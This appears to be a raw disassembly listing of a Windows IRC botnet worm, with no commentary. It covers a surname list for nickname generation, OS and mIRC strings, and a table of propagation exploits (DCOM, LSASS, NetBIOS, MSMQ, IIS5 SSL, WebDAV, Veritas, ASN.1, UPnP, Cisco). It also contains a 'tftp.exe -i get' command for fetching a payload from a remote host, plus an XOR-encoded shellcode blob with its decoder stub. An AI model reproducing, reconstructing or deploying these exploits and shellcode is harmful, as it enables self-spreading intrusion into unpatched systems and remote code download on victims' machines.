aSchutte db 'Schutte',0 ; DATA XREF: seg002:004409D8o
aSchuyler db 'Schuyler',0 ; DATA XREF: seg002:004409DCo
align 4
aSchwan db 'Schwan',0 ; DATA XREF: seg002:004409E0o
align 10h
aSchwickrath db 'Schwickrath',0 ; DATA XREF: seg002:004409E4o
aScovel db 'Scovel',0 ; DATA XREF: seg002:004409E8o
align 4
aScudder db 'Scudder',0 ; DATA XREF: seg002:004409ECo
aSeaton db 'Seaton',0 ; DATA XREF: seg002:004409F0o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: seg002:004409F4o
align 4
aSegal db 'Segal',0 ; DATA XREF: seg002:004409F8o
align 4
aSekler db 'Sekler',0 ; DATA XREF: seg002:004409FCo
align 4
aSelvage db 'Selvage',0 ; DATA XREF: seg002:00440A00o
aSen db 'Sen',0 ; DATA XREF: seg002:00440A04o
aSennett db 'Sennett',0 ; DATA XREF: seg002:00440A08o
aSeterdahl db 'Seterdahl',0 ; DATA XREF: seg002:00440A0Co
align 4
aSexton db 'Sexton',0 ; DATA XREF: seg002:00440A10o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: seg002:00440A14o
aShaikh db 'Shaikh',0 ; DATA XREF: seg002:00440A18o
align 4
aShakis db 'Shakis',0 ; DATA XREF: seg002:00440A1Co
align 4
aShankland db 'Shankland',0 ; DATA XREF: seg002:00440A20o
align 4
aShanley db 'Shanley',0 ; DATA XREF: seg002:00440A24o
aShar db 'Shar',0 ; DATA XREF: seg002:00440A28o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: seg002:00440A2Co
aShavelson db 'Shavelson',0 ; DATA XREF: seg002:00440A30o
align 4
aShea db 'Shea',0 ; DATA XREF: seg002:00440A34o
align 4
aSheats db 'Sheats',0 ; DATA XREF: seg002:00440A38o
align 4
aShepherd db 'Shepherd',0 ; DATA XREF: seg002:00440A3Co
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: seg002:00440A40o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: seg002:00440A44o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: seg002:00440A48o
align 4
aShia db 'Shia',0 ; DATA XREF: seg002:00440A4Co
align 10h
aShibata db 'Shibata',0 ; DATA XREF: seg002:00440A50o
aShimon db 'Shimon',0 ; DATA XREF: seg002:00440A54o
align 10h
aSiesto db 'Siesto',0 ; DATA XREF: seg002:00440A58o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: seg002:00440A5Co
aSigini db 'Sigini',0 ; DATA XREF: seg002:00440A60o
align 4
aSigna db 'Signa',0 ; DATA XREF: seg002:00440A64o
align 10h
aSilverman db 'Silverman',0 ; DATA XREF: seg002:00440A68o
align 4
aSilvetti db 'Silvetti',0 ; DATA XREF: seg002:00440A6Co
align 4
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: seg002:00440A70o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: seg002:00440A74o
aSites db 'Sites',0 ; DATA XREF: seg002:00440A78o
align 4
aSkane db 'Skane',0 ; DATA XREF: seg002:00440A7Co
align 4
aSkerry db 'Skerry',0 ; DATA XREF: seg002:00440A80o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: seg002:00440A84o
align 4
aSloan db 'Sloan',0 ; DATA XREF: seg002:00440A88o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: seg002:00440A8Co
align 4
aSmilow db 'Smilow',0 ; DATA XREF: seg002:00440A90o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: seg002:00440A94o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: seg002:00440A98o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: seg002:00440A9Co
aSolon db 'Solon',0 ; DATA XREF: seg002:00440AA0o
align 4
aSomers db 'Somers',0 ; DATA XREF: seg002:00440AA4o
align 10h
aSommariva db 'Sommariva',0 ; DATA XREF: seg002:00440AA8o
align 4
aSorabella db 'Sorabella',0 ; DATA XREF: seg002:00440AACo
align 4
aSorg db 'Sorg',0 ; DATA XREF: seg002:00440AB0o
align 10h
aSottak db 'Sottak',0 ; DATA XREF: seg002:00440AB4o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: seg002:00440AB8o
align 10h
aSoule db 'Soule',0 ; DATA XREF: seg002:00440ABCo
align 4
aSoultanian db 'Soultanian',0 ; DATA XREF: seg002:00440AC0o
align 4
aSpanier db 'Spanier',0 ; DATA XREF: seg002:00440AC4o
aSparrow db 'Sparrow',0 ; DATA XREF: seg002:00440AC8o
aSpaulding db 'Spaulding',0 ; DATA XREF: seg002:00440ACCo
align 10h
aSpeizer db 'Speizer',0 ; DATA XREF: seg002:00440AD0o
aSpence db 'Spence',0 ; DATA XREF: seg002:00440AD4o
align 10h
aSperber db 'Sperber',0 ; DATA XREF: seg002:00440AD8o
aSpicer db 'Spicer',0 ; DATA XREF: seg002:00440ADCo
align 10h
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: seg002:00440AE0o
align 10h
aSpiliotis db 'Spiliotis',0 ; DATA XREF: seg002:00440AE4o
align 4
aSpinrad db 'Spinrad',0 ; DATA XREF: seg002:00440AE8o
aStmartin db 'StMartin',0 ; DATA XREF: seg002:00440AECo
align 10h
aStalvey db 'Stalvey',0 ; DATA XREF: seg002:00440AF0o
aStam db 'Stam',0 ; DATA XREF: seg002:00440AF4o
align 10h
aStang db 'Stang',0 ; DATA XREF: seg002:00440AF8o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: seg002:00440AFCo
align 4
aStates db 'States',0 ; DATA XREF: seg002:00440B00o
align 10h
aStatlender db 'Statlender',0 ; DATA XREF: seg002:00440B04o
align 4
aStefani db 'Stefani',0 ; DATA XREF: seg002:00440B08o
aSteiner db 'Steiner',0 ; DATA XREF: seg002:00440B0Co
aStephanian db 'Stephanian',0 ; DATA XREF: seg002:00440B10o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: seg002:00440B14o
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: seg002:00440B18o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: seg002:00440B1Co
align 10h
aStillwell db 'Stillwell',0 ; DATA XREF: seg002:00440B20o
align 4
aStock db 'Stock',0 ; DATA XREF: seg002:00440B24o
align 4
aStockton db 'Stockton',0 ; DATA XREF: seg002:00440B28o
align 10h
aStockwell db 'Stockwell',0 ; DATA XREF: seg002:00440B2Co
align 4
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: seg002:00440B30o
aStonich db 'Stonich',0 ; DATA XREF: seg002:00440B34o
aStorer db 'Storer',0 ; DATA XREF: seg002:00440B38o
align 4
aStott db 'Stott',0 ; DATA XREF: seg002:00440B3Co
align 10h
aStrange db 'Strange',0 ; DATA XREF: seg002:00440B40o
aStrauch db 'Strauch',0 ; DATA XREF: seg002:00440B44o
aStreiff db 'Streiff',0 ; DATA XREF: seg002:00440B48o
aStringer db 'Stringer',0 ; DATA XREF: seg002:00440B4Co
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: seg002:00440B50o
align 10h
aSumner db 'Sumner',0 ; DATA XREF: seg002:00440B54o
align 4
aSuo db 'Suo',0 ; DATA XREF: seg002:00440B58o
aSurdam db 'Surdam',0 ; DATA XREF: seg002:00440B5Co
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: seg002:00440B60o
align 10h
aSweetser db 'Sweetser',0 ; DATA XREF: seg002:00440B64o
align 4
aSwindle db 'Swindle',0 ; DATA XREF: seg002:00440B68o
aTagiuri db 'Tagiuri',0 ; DATA XREF: seg002:00440B6Co
aTai db 'Tai',0 ; DATA XREF: seg002:00440B70o
aTalaugon db 'Talaugon',0 ; DATA XREF: seg002:00440B74o
align 4
aTambiah db 'Tambiah',0 ; DATA XREF: seg002:00440B78o
aTandler db 'Tandler',0 ; DATA XREF: seg002:00440B7Co
aTanowitz db 'Tanowitz',0 ; DATA XREF: seg002:00440B80o
align 4
aTatar db 'Tatar',0 ; DATA XREF: seg002:00440B84o
align 10h
aTaveras db 'Taveras',0 ; DATA XREF: seg002:00440B88o
aTawn db 'Tawn',0 ; DATA XREF: seg002:00440B8Co
align 10h
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: seg002:00440B90o
align 4
aTeague db 'Teague',0 ; DATA XREF: seg002:00440B94o
align 4
aTemes db 'Temes',0 ; DATA XREF: seg002:00440B98o
align 4
aTemmer db 'Temmer',0 ; DATA XREF: seg002:00440B9Co
align 4
aTenney db 'Tenney',0 ; DATA XREF: seg002:00440BA0o
align 4
aTerracini db 'Terracini',0 ; DATA XREF: seg002:00440BA4o
align 4
aThan db 'Than',0 ; DATA XREF: seg002:00440BA8o
align 10h
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: seg002:00440BACo
align 10h
aTheodos db 'Theodos',0 ; DATA XREF: seg002:00440BB0o
aThibault db 'Thibault',0 ; DATA XREF: seg002:00440BB4o
align 4
aThisted db 'Thisted',0 ; DATA XREF: seg002:00440BB8o
aThomsen db 'Thomsen',0 ; DATA XREF: seg002:00440BBCo
aThroop db 'Throop',0 ; DATA XREF: seg002:00440BC0o
align 4
aTierney db 'Tierney',0 ; DATA XREF: seg002:00440BC4o
aTill db 'Till',0 ; DATA XREF: seg002:00440BC8o
align 4
aTimmons db 'Timmons',0 ; DATA XREF: seg002:00440BCCo
aTofallis db 'Tofallis',0 ; DATA XREF: seg002:00440BD0o
align 10h
aTollestrup db 'Tollestrup',0 ; DATA XREF: seg002:00440BD4o
align 4
aTolls db 'Tolls',0 ; DATA XREF: seg002:00440BD8o
align 4
aTolman db 'Tolman',0 ; DATA XREF: seg002:00440BDCo
align 4
aTomford db 'Tomford',0 ; DATA XREF: seg002:00440BE0o
aToomer db 'Toomer',0 ; DATA XREF: seg002:00440BE4o
align 4
aTopulos db 'Topulos',0 ; DATA XREF: seg002:00440BE8o
aTorresi db 'Torresi',0 ; DATA XREF: seg002:00440BECo
aTorske db 'Torske',0 ; DATA XREF: seg002:00440BF0o
align 4
aTowler db 'Towler',0 ; DATA XREF: seg002:00440BF4o
align 4
aToye db 'Toye',0 ; DATA XREF: seg002:00440BF8o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: seg002:00440BFCo
align 10h
aTrenga db 'Trenga',0 ; DATA XREF: seg002:00440C00o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: seg002:00440C04o
align 10h
aTringali db 'Tringali',0 ; DATA XREF: seg002:00440C08o
align 4
aTroiani db 'Troiani',0 ; DATA XREF: seg002:00440C0Co
aTroy db 'Troy',0 ; DATA XREF: seg002:00440C10o
align 4
aTruss db 'Truss',0 ; DATA XREF: seg002:00440C14o
align 4
aTsiatis db 'Tsiatis',0 ; DATA XREF: seg002:00440C18o
aTsomides db 'Tsomides',0 ; DATA XREF: seg002:00440C1Co
align 4
aTsukurov db 'Tsukurov',0 ; DATA XREF: seg002:00440C20o
align 4
aTuck db 'Tuck',0 ; DATA XREF: seg002:00440C24o
align 4
aTudge db 'Tudge',0 ; DATA XREF: seg002:00440C28o
align 4
aTukan db 'Tukan',0 ; DATA XREF: seg002:00440C2Co
align 4
aTurano db 'Turano',0 ; DATA XREF: seg002:00440C30o
align 4
aTurek db 'Turek',0 ; DATA XREF: seg002:00440C34o
align 4
aTuttle db 'Tuttle',0 ; DATA XREF: seg002:00440C38o
align 4
aTwells db 'Twells',0 ; DATA XREF: seg002:00440C3Co
align 4
aTzamarias db 'Tzamarias',0 ; DATA XREF: seg002:00440C40o
align 4
aUllman db 'Ullman',0 ; DATA XREF: seg002:00440C44o
align 10h
aUntermeyer db 'Untermeyer',0 ; DATA XREF: seg002:00440C48o
align 4
aUpsdell db 'Upsdell',0 ; DATA XREF: seg002:00440C4Co
aUrban db 'Urban',0 ; DATA XREF: seg002:00440C50o
align 4
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: seg002:00440C54o
align 4
aUsdan db 'Usdan',0 ; DATA XREF: seg002:00440C58o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: seg002:00440C5Co
align 4
aVacca db 'Vacca',0 ; DATA XREF: seg002:00440C60o
align 4
aWaite db 'Waite',0 ; DATA XREF: seg002:00440C64o
align 4
aValberg db 'Valberg',0 ; DATA XREF: seg002:00440C68o
aValencia db 'Valencia',0 ; DATA XREF: seg002:00440C6Co
align 10h
aWales db 'Wales',0 ; DATA XREF: seg002:00440C70o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: seg002:00440C74o
align 4
aWalter db 'Walter',0 ; DATA XREF: seg002:00440C78o
align 4
aVanallen db 'vanAllen',0 ; DATA XREF: seg002:00440C7Co
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: seg002:00440C80o
aVandenberg db 'Vandenberg',0 ; DATA XREF: seg002:00440C84o
align 4
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: seg002:00440C88o
align 4
aWarshafsky db 'Warshafsky',0 ; DATA XREF: seg002:00440C8Co
align 4
aWasowska db 'Wasowska',0 ; DATA XREF: seg002:00440C90o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: seg002:00440C94o
aWaugh db 'Waugh',0 ; DATA XREF: seg002:00440C98o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: seg002:00440C9Co
align 10h
aWeingarten db 'Weingarten',0 ; DATA XREF: seg002:00440CA0o
align 4
aWeinhaus db 'Weinhaus',0 ; DATA XREF: seg002:00440CA4o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: seg002:00440CA8o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: seg002:00440CACo
align 10h
aVelasquez db 'Velasquez',0 ; DATA XREF: seg002:00440CB0o
align 4
aWelles db 'Welles',0 ; DATA XREF: seg002:00440CB4o
align 4
aWelsh db 'Welsh',0 ; DATA XREF: seg002:00440CB8o
align 4
aWengret db 'Wengret',0 ; DATA XREF: seg002:00440CBCo
aVenne db 'Venne',0 ; DATA XREF: seg002:00440CC0o
align 4
aVerghese db 'Verghese',0 ; DATA XREF: seg002:00440CC4o
align 4
aWescott db 'Wescott',0 ; DATA XREF: seg002:00440CC8o
aWetzel db 'Wetzel',0 ; DATA XREF: seg002:00440CCCo
align 4
aWhately db 'Whately',0 ; DATA XREF: seg002:00440CD0o
aWhilton db 'Whilton',0 ; DATA XREF: seg002:00440CD4o
aWhite db 'White',0 ; DATA XREF: seg002:00440CD8o
align 10h
aWhitla db 'Whitla',0 ; DATA XREF: seg002:00440CDCo
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: seg002:00440CE0o
align 4
aViana db 'Viana',0 ; DATA XREF: seg002:00440CE4o
align 4
aViano db 'Viano',0 ; DATA XREF: seg002:00440CE8o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: seg002:00440CECo
aWiener db 'Wiener',0 ; DATA XREF: seg002:00440CF0o
align 4
aViens db 'Viens',0 ; DATA XREF: seg002:00440CF4o
align 10h
aVignola db 'Vignola',0 ; DATA XREF: seg002:00440CF8o
aWilder db 'Wilder',0 ; DATA XREF: seg002:00440CFCo
align 10h
aWilhelm db 'Wilhelm',0 ; DATA XREF: seg002:00440D00o
aWilk db 'Wilk',0 ; DATA XREF: seg002:00440D04o
align 10h
aWilkin db 'Wilkin',0 ; DATA XREF: seg002:00440D08o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: seg002:00440D0Co
align 4
aVillarreal db 'Villarreal',0 ; DATA XREF: seg002:00440D10o
align 10h
aWillstatter db 'Willstatter',0 ; DATA XREF: seg002:00440D14o
aWilson db 'Wilson',0 ; DATA XREF: seg002:00440D18o
align 4
aVitali db 'Vitali',0 ; DATA XREF: seg002:00440D1Co
align 4
aViviani db 'Viviani',0 ; DATA XREF: seg002:00440D20o
aVoigt db 'Voigt',0 ; DATA XREF: seg002:00440D24o
align 4
aWolk db 'Wolk',0 ; DATA XREF: seg002:00440D28o
align 4
aVonhoffman db 'VonHoffman',0 ; DATA XREF: seg002:00440D2Co
align 10h
aWoo db 'Woo',0 ; DATA XREF: seg002:00440D30o
aWooden db 'Wooden',0 ; DATA XREF: seg002:00440D34o
align 4
aWoods db 'Woods',0 ; DATA XREF: seg002:00440D38o
align 4
aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: seg002:00440D3Co
align 4
aVorhaus db 'Vorhaus',0 ; DATA XREF: seg002:00440D40o
aVotey db 'Votey',0 ; DATA XREF: seg002:00440D44o
align 4
aYacono db 'Yacono',0 ; DATA XREF: seg002:00440D48o
align 4
aYamane db 'Yamane',0 ; DATA XREF: seg002:00440D4Co
align 4
aYankee db 'Yankee',0 ; DATA XREF: seg002:00440D50o
align 4
aYarchuk db 'Yarchuk',0 ; DATA XREF: seg002:00440D54o
aYates db 'Yates',0 ; DATA XREF: seg002:00440D58o
align 4
aYbarra db 'Ybarra',0 ; DATA XREF: seg002:00440D5Co
align 4
aYedidia db 'Yedidia',0 ; DATA XREF: seg002:00440D60o
aYesson db 'Yesson',0 ; DATA XREF: seg002:00440D64o
align 4
aYetiv db 'Yetiv',0 ; DATA XREF: seg002:00440D68o
align 4
aYoffe db 'Yoffe',0 ; DATA XREF: seg002:00440D6Co
align 4
aYoo db 'Yoo',0 ; DATA XREF: seg002:00440D70o
aYoukSee db 'Youk-See',0 ; DATA XREF: seg002:00440D74o
align 4
aYu db 'Yu',0 ; DATA XREF: seg002:00440D78o
align 4
aZachary db 'Zachary',0 ; DATA XREF: seg002:00440D7Co
aZahedi db 'Zahedi',0 ; DATA XREF: seg002:00440D80o
align 4
aZangwill db 'Zangwill',0 ; DATA XREF: seg002:00440D84o
align 4
aZegans db 'Zegans',0 ; DATA XREF: seg002:00440D88o
align 4
aZerbini db 'Zerbini',0 ; DATA XREF: seg002:00440D8Co
aZoldak db 'Zoldak',0 ; DATA XREF: seg002:00440D90o
align 4
aZucconi db 'Zucconi',0 ; DATA XREF: seg002:00440D94o
aZurn db 'Zurn',0 ; DATA XREF: seg002:00440D98o
align 4
aZwiers db 'Zwiers',0 ; DATA XREF: seg002:00440D9Co
align 4
aZytowski db 'Zytowski',0 ; DATA XREF: seg002:00440DA0o
align 10h
aS_27 db '%s',0 ; DATA XREF: sub_408654+27o
align 4
aSI db '%s%i',0 ; DATA XREF: sub_408654+4Eo
align 4
aS_28 db '%s',0 ; DATA XREF: seg000:004086D9o
align 10h
aSI_0 db '%s%i',0 ; DATA XREF: seg000:00408700o
align 4
aPc db 'PC',0 ; DATA XREF: seg000:00408771o
align 4
aPc_0 db 'PC',0
align 10h
aPc_1 db 'PC',0 ; DATA XREF: seg000:004087C7o
align 4
aSI_1 db '%s%i',0 ; DATA XREF: seg000:004087F2o
align 4
aS_29 db '%s|',0 ; DATA XREF: seg000:00408840o
aSI_2 db '%s%i',0 ; DATA XREF: seg000:00408867o
align 4
a95 db '95',0 ; DATA XREF: seg000:004088D5o
align 4
aNt db 'NT',0 ; DATA XREF: seg000:004088E3o
align 10h
a98 db '98',0 ; DATA XREF: seg000:004088F3o
align 4
aMe_0 db 'ME',0 ; DATA XREF: seg000:00408903o
align 4
a2k db '2K',0 ; DATA XREF: seg000:0040891Co
align 4
aXp_0 db 'XP',0 ; DATA XREF: seg000:0040892Co
align 10h
a2k3 db '2K3',0 ; DATA XREF: seg000:0040893Ao
a???_0 db '???',0 ; DATA XREF: seg000:loc_408941o
aS_30 db '[%s]|',0 ; DATA XREF: seg000:0040894Ao
align 10h
aSI_3 db '%s%i',0 ; DATA XREF: seg000:00408971o
align 4
aMirc_0 db 'mIRC',0 ; DATA XREF: sub_408990+1Fo
align 10h
aM_0 db '[M]',0 ; DATA XREF: sub_408990+2Co
aDS db '[%d]%s',0 ; DATA XREF: sub_408990+3Ao
align 4
aMirc_1 db 'mIRC',0 ; DATA XREF: sub_408990:loc_4089DFo
align 4
aM_1 db '[M]',0 ; DATA XREF: sub_408990+5Co
; ---------------------------------------------------------------------------
loc_443858: ; DATA XREF: sub_408C38+C4o
jmp short loc_44385C
; ---------------------------------------------------------------------------
loc_44385A: ; CODE XREF: seg002:loc_44385Cp
jmp short loc_443861
; ---------------------------------------------------------------------------
loc_44385C: ; CODE XREF: seg002:loc_443858j
call loc_44385A
loc_443861: ; CODE XREF: seg002:loc_44385Aj
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_443866 dw 0FFFFh ; DATA XREF: sub_408C38+CCw
db 80h, 73h, 0Eh
byte_44386B db 0FFh ; DATA XREF: sub_408C38+D3w
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_443870: ; DATA XREF: sub_408C38+A2o
jmp short loc_443874
; ---------------------------------------------------------------------------
loc_443872: ; CODE XREF: seg002:loc_443874p
jmp short loc_443879
; ---------------------------------------------------------------------------
loc_443874: ; CODE XREF: seg002:loc_443870j
call loc_443872
loc_443879: ; CODE XREF: seg002:loc_443872j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_44387D db 0FFh ; DATA XREF: sub_408C38+AAw
dw 7380h
db 0Ch
byte_443881 db 0FFh ; DATA XREF: sub_408C38+B0w
dw 0E243h
dd 0F9h
dword_443888 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_408AC1+57o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_4438EC dd 12h aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_408AC1+79o
aJ_0 db 'j',0
db 0E8h
dword_443905 dd 17h ; ---------------------------------------------------------------------------
jnz short near ptr byte_44390C
retn
; ---------------------------------------------------------------------------
byte_44390C db 0E8h ; CODE XREF: seg002:00443909j
dword_44390D dd 1 byte_443911 db 0, 6Ah, 0 ; DATA XREF: sub_408AC1+C2o
dd 7E8h
db 0, 0Fh, 84h
dword_44391B dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; Sleep
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 4
dd 35310302h, 25B302Ch, 91313003h, 2343003h, 72680254h
dd 61026502h, 26C2064h, 2730269h, 30030274h, 31032C31h
dd 32033A35h, 20h, 202E6425h, 7325h
aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_408FCD+35o
align 4
aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_408FCD+51o
align 8
aNetbios_0 db 'netbios',0 ; DATA XREF: sub_409F32+164o
db 2 dup(0)
aNetbios db 'NetBios',0 ; DATA XREF: seg000:00409450o
; seg000:0040A77Eo ...
align 4
dd 5 dup(0)
dword_4439F0 dd 8Bh ; seg000:00405ABCo ...
off_4439F4 dd offset sub_40E268 ; DATA XREF: sub_409F32+1E6r
dword_4439F8 dd 0 ; seg000:0040A7CCw ...
dword_4439FC dd 0 dword_443A00 dd 0 dword_443A04 dd 0 aNtpass db 'ntpass',0
align 10h
dd 544E0000h, 73736150h, 6 dup(0)
dd 1BDh, 40E268h, 4 dup(0)
aDcom135 db 'dcom135',0
dd 43440000h, 31204D4Fh, 3533h, 5 dup(0)
dd 87h, 40AD11h, 0
dd 1, 2 dup(0)
aDcom445 db 'dcom445',0
dd 43440000h, 34204D4Fh, 3534h, 5 dup(0)
dd 1BDh, 40AD11h, 0
dd 1, 2 dup(0)
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'DCOM 1025',0
dd 5 dup(0)
dd 401h, 40AD11h, 0
dd 1, 2 dup(0)
aLsass db 'lsass',0
align 10h
dd 4F480000h, 534C2044h, 535341h, 5 dup(0)
dd 1BDh, 40BD15h, 0
dd 1, 2 dup(0)
aLsasscb db 'lsasscb',0
dd 4F480000h, 534C2044h, 2D535341h, 4243h, 4 dup(0)
; ---------------------------------------------------------------------------
mov ebp, 0EE000001h
retn 40h
; ---------------------------------------------------------------------------
dd 0
dd 1, 0
dd 1, 7361736Ch, 35333173h, 4C500000h, 53534153h, 35333120h
dd 5 dup(0)
dd 87h, 40E474h, 0
dd 1, 2 dup(0)
aLsass445 db 'lsass445',0
align 2
aPlsass445 db 'PLSASS 445',0
align 10h
dd 4 dup(0)
dd 1BDh, 40E474h, 0
dd 1, 2 dup(0)
aLsass1025 db 'lsass1025',0
aPlsass1025 db 'PLSASS 1025',0
align 10h
dd 4 dup(0)
dd 401h, 40E474h, 0
dd 1, 2 dup(0)
aWks_eng db 'wks_eng',0
dd 6B570000h, 63765373h, 676E4520h, 6873696Ch, 4 dup(0)
dd 1BDh, 40F633h, 0
dd 1, 2 dup(0)
aWks_oth db 'wks_oth',0
dd 6B570000h, 63765373h, 68744F20h, 7265h, 4 dup(0)
dd 1BDh, 40F6BCh, 0
dd 1, 2 dup(0)
dd 67736Dh, 0
dd 654D0000h, 6E657373h, 726567h, 5 dup(0)
dd 87h, 40C484h, 0
dd 1, 2 dup(0)
aMsmq2103 db 'msmq2103',0
align 2
aMsmq2103_0 db 'MSMQ 2103',0
dd 5 dup(0)
dd 837h, 40DD02h, 0
dd 1, 2 dup(0)
aMsmq2105 db 'msmq2105',0
align 2
aMsmq2105_0 db 'MSMQ 2105',0
dd 5 dup(0)
dd 839h, 40DD02h, 0
dd 1, 2 dup(0)
aMsmq2107 db 'msmq2107',0
align 2
aMsmq2107_0 db 'MSMQ 2107',0
dd 5 dup(0)
dd 83Bh, 40DD02h, 0
dd 1, 2 dup(0)
aIis5ssl db 'iis5ssl',0
dd 49490000h, 53533553h, 4Ch, 5 dup(0)
dd 1BBh, 40AFECh, 0
dd 1, 0
dd 1, 64626577h, 7661h, 65570000h, 56414462h, 6 dup(0)
dd 50h, 40F00Ch, 0
dd 1, 2 dup(0)
aVeritas db 'veritas',0
dd 65560000h, 61746972h, 61422073h, 70756B63h, 65784520h
dd 63h, 2 dup(0)
dd 17D5h, 40EDBAh, 0
dd 1, 2 dup(0)
aAsn1http db 'asn1http',0
align 2
aAsn_1Http db 'ASN.1-HTTP',0
align 10h
dd 4 dup(0)
dd 50h, 40D24Ch, 0
dd 1, 2 dup(0)
aAsn1smb db 'asn1smb',0
dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
dd 1BDh, 40D24Ch, 0
dd 1, 2 dup(0)
aMsass db 'msass',0
align 10h
dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
dd 8Bh, 40D24Ch, 0
dd 1, 2 dup(0)
aUmpnp db 'umpnp',0
align 10h
dd 4D550000h, 506E50h, 6 dup(0)
dd 1BDh, 40E8C6h, 0
dd 1, 2 dup(0)
dd 6C6Dh, 0
dd 4D490000h, 6C6961h, 6 dup(0)
dd 8Fh, 40B12Ah, 0
dd 1, 2 dup(0)
dd 6376h, 0
dd 4E560000h, 6F6F5243h, 726574h, 5 dup(0)
dd 170Ch, 41A8AAh, 0
dd 1, 2 dup(0)
aCisco23 db 'cisco23',0
dd 69430000h, 206F6373h, 6E6C6554h, 7465h, 4 dup(0)
dd 17h, 40A670h, 4 dup(0)
aCisco80 db 'cisco80',0
dd 69430000h, 206F6373h, 50545448h, 5 dup(0)
dd 50h, 40A7E3h, 14h dup(0)
dd 6C6Dh, 0
db 2 dup(0)
byte_4440D2 db 1 ; DATA XREF: seg000:loc_40741Br
; seg000:00407425o
db 6Dh
dd 6773h, 0
dd 63760100h, 2 dup(0)
dd 1, 2 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_444106
; =============== S U B R O U T I N E =======================================
sub_4440F6 proc near ; CODE XREF: sub_4440F6:loc_444106p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_4440FE: ; CODE XREF: sub_4440F6+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4440FE
jmp short loc_44410B
; ---------------------------------------------------------------------------
loc_444106: ; CODE XREF: seg002:004440F4j
call sub_4440F6
loc_44410B: ; CODE XREF: sub_4440F6+Ej
jo short near ptr dword_444070+36h
cwde
cdq
cdq
retn
sub_4440F6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
